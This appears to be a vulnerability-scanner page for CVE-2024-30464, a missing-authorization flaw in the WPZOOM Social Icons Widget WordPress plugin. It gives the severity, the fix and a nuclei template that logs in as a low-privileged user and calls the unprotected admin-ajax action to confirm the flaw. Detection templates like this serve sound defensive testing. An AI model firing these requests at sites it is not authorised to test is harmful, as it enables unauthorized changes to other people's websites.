WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization

mediumseverity

4.3CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.

Impact

Attackers can perform unauthorized actions, potentially leading to data tampering or privilege escalation.

Fix

Update to version 4.2.16 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/social-icons-widget-by-wpzoom/readme.txt
Positive when: status_code == 200 and compare_versions(version, '<= 4.2.15')
Send: GET /wp-login.php ; POST /wp-login.php ; POST /wp-admin/admin-ajax.php
Positive when: status_code_3 == 200 and contains(body,"Done, transient is set") && contains(body,"success\":true")

Run it with nuclei: nuclei -id CVE-2024-30464 -u <target>

The full check

id: CVE-2024-30464

info:
  name: WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization
  author: pussycat0x
  severity: medium
  description: |
    WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.
  impact: |
    Attackers can perform unauthorized actions, potentially leading to data tampering or privilege escalation.
  remediation: |
    Update to version 4.2.16 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-icons-widget-by-wpzoom/social-icons-widget-block-by-wpzoom-4215-missing-authorization
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-30464
    epss-score: 0.01504
    epss-percentile: 0.74556
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: wpzoom
    product: social-icons-widget-by-wpzoom
    framework: wordpress
    publicwww-query: "/plugins/social-icons-widget-by-wpzoom/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,wpzoom,authenticated

variables:
  rand: "{{rand_int(10000, 99999)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/social-icons-widget-by-wpzoom/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "compare_versions(version, '<= 4.2.15')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=zoom_ajax_set_pointer_transient&transient_name={{rand}}&lifetime=3600

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body,"Done, transient is set") && contains(body,"success\":true")'
        condition: and

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-icons-widget-by-wpzoom/social-icons-widget-block-by-wpzoom-4215-missing-authorization

Use this check only on systems you are authorised to test. Where the data comes from